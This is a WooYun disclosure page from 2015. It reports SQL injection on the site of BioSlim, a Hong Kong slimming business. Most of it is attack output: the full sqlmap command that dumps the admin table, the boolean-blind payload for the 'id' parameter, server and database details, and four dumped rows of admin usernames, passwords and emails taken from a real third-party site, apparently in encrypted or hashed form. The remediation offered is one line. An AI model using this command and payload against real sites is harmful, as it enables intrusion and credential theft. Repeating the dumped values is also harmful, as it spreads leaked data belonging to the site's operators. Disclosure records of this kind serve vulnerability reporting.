当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156872

漏洞标题：BioSlim輕盈主站存在SQL注射漏洞（用户密码泄露）（香港地區）

相关厂商：BioSlim輕盈

漏洞作者： 路人甲

提交时间：2015-12-01 11:33

修复时间：2016-01-15 16:54

公开时间：2016-01-15 16:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-01： 细节已通知厂商并且等待厂商处理中
2015-12-01： 厂商已经确认，细节仅向厂商公开
2015-12-11： 细节向核心白帽子及相关领域专家公开
2015-12-21： 细节向普通白帽子公开
2015-12-31： 细节向实习白帽子公开
2016-01-15： 细节向公众公开

简要描述：

BioSlim輕盈於2005正式誔生，由美體美學專家Grace Hoi主理，開業後以科技儀器修身享負盛名，更於開業不久。為顧客達至90％修身成功率，回復健康標準體重及完美線條。

详细说明：

地址：http://**.**.**.**/?section=Promotion&id=123

$ python sqlmap.py -u "http://**.**.**.**/?section=Promotion&id=123" -p id --technique=B --random-agent --batch  -D bioslim_data_2014 -T admin -C username,password,email --dump


Database: bioslim_data_2014
Table: admin
[4 entries]
+----------------------------------------------+----------------------------------------------+----------------------------------------------+
| username                                     | password                                     | email                                        |
+----------------------------------------------+----------------------------------------------+----------------------------------------------+
| UUiw7SKykWe1Znf0boVKtlaSI8smbR9kXEdygc0XnD0= | AAm169uePkFePUMB3h0olxvvm14VSEtu/cR+sVXGJ8w= | 0F7LDlE0KDJNaC1Qehv4ehWveJNlyfX4UVSp2/IVvAo= |
| 4K0zVcoAVVHzVRj0nvqOMrKdB30zRgY45h7FEv0li6U= | t2vgz5xXd6IGjTe8kICT7ki7S/5GfhUyTH0alHjJS0g= | fZ+kMk+ot0MIy6kd9KNZhoaS50EF9Gi7a8CtOA81ekU= |
| NBGgd1TZkmISgL2oo8FZ3YfBsKzZUqBURoccaPWS3WE= | ILbjHARo+aOSqX86kvJ6ooHZDXc9pmGHOIncXhr1n7M= | VTOJnR12QB/F0QToSyM2m6JfO+y0+ZXl+Uork/VS9/I= |
| Du+RmnIcRu9O5EwIHgwkhdrvKwBLj68VLt2/r6kLW84= | FM7JcZsr2URAwHz+RYZYluh6qm90qmiqkUFM2712mKk= | ykoBtuTVgkUsa/CqlSmeACQV+T9K6HE1ZjukEnJF1RU= |
+----------------------------------------------+----------------------------------------------+----------------------------------------------+

漏洞证明：

---
web application technology: PHP 5.3.27, Apache 2.2.27
back-end DBMS: MySQL >= 5.0.0
current user:    'bioslim_on99@localhost'
current user is DBA:    False
database management system users [1]:
[*] 'bioslim_on99'@'localhost'
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 469     |
| GLOBAL_STATUS                         | 296     |
| SESSION_STATUS                        | 296     |
| GLOBAL_VARIABLES                      | 279     |
| SESSION_VARIABLES                     | 279     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130     |
| COLLATIONS                            | 129     |
| PARTITIONS                            | 40      |
| TABLES                                | 40      |
| CHARACTER_SETS                        | 36      |
| SCHEMA_PRIVILEGES                     | 18      |
| PLUGINS                               | 10      |
| ENGINES                               | 8       |
| KEY_COLUMN_USAGE                      | 7       |
| STATISTICS                            | 7       |
| TABLE_CONSTRAINTS                     | 7       |
| SCHEMATA                              | 2       |
| PROCESSLIST                           | 1       |
| USER_PRIVILEGES                       | 1       |
+---------------------------------------+---------+
Database: bioslim_data_2014
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| content                               | 117     |
| product_list                          | 74      |
| treatment                             | 67      |
| banner                                | 12      |
| highlight                             | 7       |
| admin                                 | 4       |
| news                                  | 1       |
+---------------------------------------+---------+
columns LIKE 'pass' were found in the following databases:
Database: bioslim_data_2014
Table: admin
[1 column]
+----------+
| Column   |
+----------+
| password |
+----------+
Database: bioslim_data_2014
Table: admin
[4 entries]
+----------------------------------------------+
| password                                     |
+----------------------------------------------+
| AAm169uePkFePUMB3h0olxvvm14VSEtu/cR+sVXGJ8w= |
| FM7JcZsr2URAwHz+RYZYluh6qm90qmiqkUFM2712mKk= |
| ILbjHARo+aOSqX86kvJ6ooHZDXc9pmGHOIncXhr1n7M= |
| t2vgz5xXd6IGjTe8kICT7ki7S/5GfhUyTH0alHjJS0g= |
+----------------------------------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: section=Promotion&id=123 AND 9790=9790
---
web application technology: PHP 5.3.27, Apache 2.2.27
back-end DBMS: MySQL 5
Database: bioslim_data_2014
Table: admin
[6 columns]
+-------------+---------------+
| Column      | Type          |
+-------------+---------------+
| create_date | datetime      |
| email       | varchar(3072) |
| login_date  | datetime      |
| password    | varchar(3072) |
| uid         | int(6)        |
| username    | varchar(3072) |
+-------------+---------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: section=Promotion&id=123 AND 9790=9790
---
web application technology: PHP 5.3.27, Apache 2.2.27
back-end DBMS: MySQL 5
Database: bioslim_data_2014
Table: admin
[4 entries]
+----------------------------------------------+----------------------------------------------+----------------------------------------------+
| username                                     | password                                     | email                                        |
+----------------------------------------------+----------------------------------------------+----------------------------------------------+
| UUiw7SKykWe1Znf0boVKtlaSI8smbR9kXEdygc0XnD0= | AAm169uePkFePUMB3h0olxvvm14VSEtu/cR+sVXGJ8w= | 0F7LDlE0KDJNaC1Qehv4ehWveJNlyfX4UVSp2/IVvAo= |
| 4K0zVcoAVVHzVRj0nvqOMrKdB30zRgY45h7FEv0li6U= | t2vgz5xXd6IGjTe8kICT7ki7S/5GfhUyTH0alHjJS0g= | fZ+kMk+ot0MIy6kd9KNZhoaS50EF9Gi7a8CtOA81ekU= |
| NBGgd1TZkmISgL2oo8FZ3YfBsKzZUqBURoccaPWS3WE= | ILbjHARo+aOSqX86kvJ6ooHZDXc9pmGHOIncXhr1n7M= | VTOJnR12QB/F0QToSyM2m6JfO+y0+ZXl+Uork/VS9/I= |
| Du+RmnIcRu9O5EwIHgwkhdrvKwBLj68VLt2/r6kLW84= | FM7JcZsr2URAwHz+RYZYluh6qm90qmiqkUFM2712mKk= | ykoBtuTVgkUsa/CqlSmeACQV+T9K6HE1ZjukEnJF1RU= |
+----------------------------------------------+----------------------------------------------+----------------------------------------------+

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-12-01 16:52

厂商回复：

Referred to related parties.

最新状态：

暂无